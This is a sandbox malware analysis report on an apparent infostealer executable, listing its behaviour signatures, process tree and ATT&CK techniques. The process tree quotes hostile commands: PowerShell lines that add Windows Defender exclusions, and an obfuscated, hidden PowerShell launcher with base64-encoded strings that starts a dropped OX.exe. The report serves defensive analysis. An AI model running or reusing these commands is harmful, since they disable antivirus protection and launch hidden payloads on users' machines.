Analysis
- max time kernel
149s - max time network
149s - platform
windows10-2004_x64 - resource
win10v2004-20260513-en - resource tags
- submitted
10/09/2026, 10:43
General
- Target 83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d.exe
- Size 3.3MB
- Sample260910-msdfwabj8t
- SHA256 83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d
Malware Config
Signatures
- Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs
Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.
- Checks computer location settings 2 TTPs 2 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 2 IoCs
- Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
- Accesses Microsoft Outlook profiles 1 TTPs 1 IoCs
- Adds Run key to start application 2 TTPs 1 IoCs
- Looks up external IP address via web service 1 TTPs 1 IoCs
Uses a legitimate IP lookup service to find the infected system's external IP.
- Suspicious use of SetThreadContext 4 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Checks processor information in registry 2 TTPs 2 IoCs
Processor information is often read in order to detect sandboxing environments.
- Suspicious behavior: EnumeratesProcesses 52 IoCs
- Suspicious use of AdjustPrivilegeToken 7 IoCs
- Suspicious use of WriteProcessMemory 25 IoCs
- outlook_office_path 1 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d.exe"C:\Users\Admin\AppData\Local\Temp\83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d.exe"1⤵
- Checks computer location settings
- Adds Run key to start application
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Local\Temp\83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d.exe"2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Local\Temp\83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d.exeC:\Users\Admin\AppData\Local\Temp\83f26f226746dd9cb9c3d23f115fb26b2b847ff1fa93e4f5a3ab3ee9a6d2b34d.exe2⤵
- Accesses Microsoft Outlook profiles
- Suspicious use of SetThreadContext
- Checks processor information in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
- outlook_office_path
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" all -k --output-path "C:\Users\Admin\AppData\Local\Temp\8b0e552cc82f0c3c259a093881d82112"3⤵
-
-
C:\Windows\System32\rundll32.exe"C:\Windows\System32\rundll32.exe" all -k --output-path "C:\Users\Admin\AppData\Local\Temp\8b0e552cc82f0c3c259a093881d82112"3⤵
-
-
-
C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -ExecutionPolicy Bypass -WindowStyle Hidden -Command "$gwjfhn=Get-Date;$vlfisi=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('U3RhcnQtUHJvY2Vzcw==')));$5xg5kz=1908;$gmha1p=([System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String('QzpcVXNlcnNcQWRtaW5cQXBwRGF0YVxSb2FtaW5nXE9YLmV4ZQ==')));$5xg5kz=1908;& $vlfisi -FilePath $gmha1p"1⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Users\Admin\AppData\Roaming\OX.exe"C:\Users\Admin\AppData\Roaming\OX.exe"2⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath "C:\Users\Admin\AppData\Roaming\OX.exe"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
-
-
C:\Users\Admin\AppData\Roaming\OX.exeC:\Users\Admin\AppData\Roaming\OX.exe3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
-
-
Network
MITRE ATT&CK Enterprise v16
Privilege Escalation
Boot or Logon Autostart Execution
1Registry Run Keys / Startup Folder
1Credential Access
Credentials from Password Stores
1Credentials from Web Browsers
1Unsecured Credentials
1Credentials In Files
1Replay Monitor
Loading Replay Monitor...
Downloads
OX.exe.log
powershell.exe.log
StartupProfileData-NonInteractive
__PSScriptPolicyTest_ikmud13t.uvw.ps1
OX.exe
memory/1180-37-0x0000015D3D020000-0x0000015D3D044000-memory.dmp
memory/1404-6-0x000001A7AE0E0000-0x000001A7AE0F0000-memory.dmp
memory/1404-2-0x000001A7AE0E0000-0x000001A7AE0F0000-memory.dmp
memory/1404-1-0x000001A7AC5B0000-0x000001A7AC5D2000-memory.dmp
memory/1404-9-0x000001A7AE0E0000-0x000001A7AE0F0000-memory.dmp
memory/1404-3-0x000001A7AC690000-0x000001A7AC6B4000-memory.dmp
memory/1404-0-0x000001A7ABE90000-0x000001A7AC1D6000-memory.dmp
memory/1404-5-0x000001A7C9570000-0x000001A7C9868000-memory.dmp
memory/1404-4-0x000001A7AE0E0000-0x000001A7AE0F0000-memory.dmp
memory/1480-38-0x0000000040000000-0x00000000401F5000-memory.dmp
memory/1480-44-0x000001F70A610000-0x000001F70A670000-memory.dmp
memory/1480-43-0x000001F70A610000-0x000001F70A670000-memory.dmp
memory/1480-42-0x0000000040000000-0x00000000401F5000-memory.dmp
memory/2112-11-0x000001C2C6D40000-0x000001C2C6D50000-memory.dmp
memory/2112-12-0x000001C2C6D40000-0x000001C2C6D50000-memory.dmp
memory/2812-70-0x000001361E870000-0x000001361E8D0000-memory.dmp
memory/2812-69-0x000001361E870000-0x000001361E8D0000-memory.dmp
memory/3008-14-0x0000000140000000-0x000000014025C000-memory.dmp
memory/3008-61-0x0000020BF61F0000-0x0000020BF63B2000-memory.dmp
memory/3008-62-0x0000020BF60A0000-0x0000020BF6116000-memory.dmp
memory/3008-63-0x0000020BF6120000-0x0000020BF6170000-memory.dmp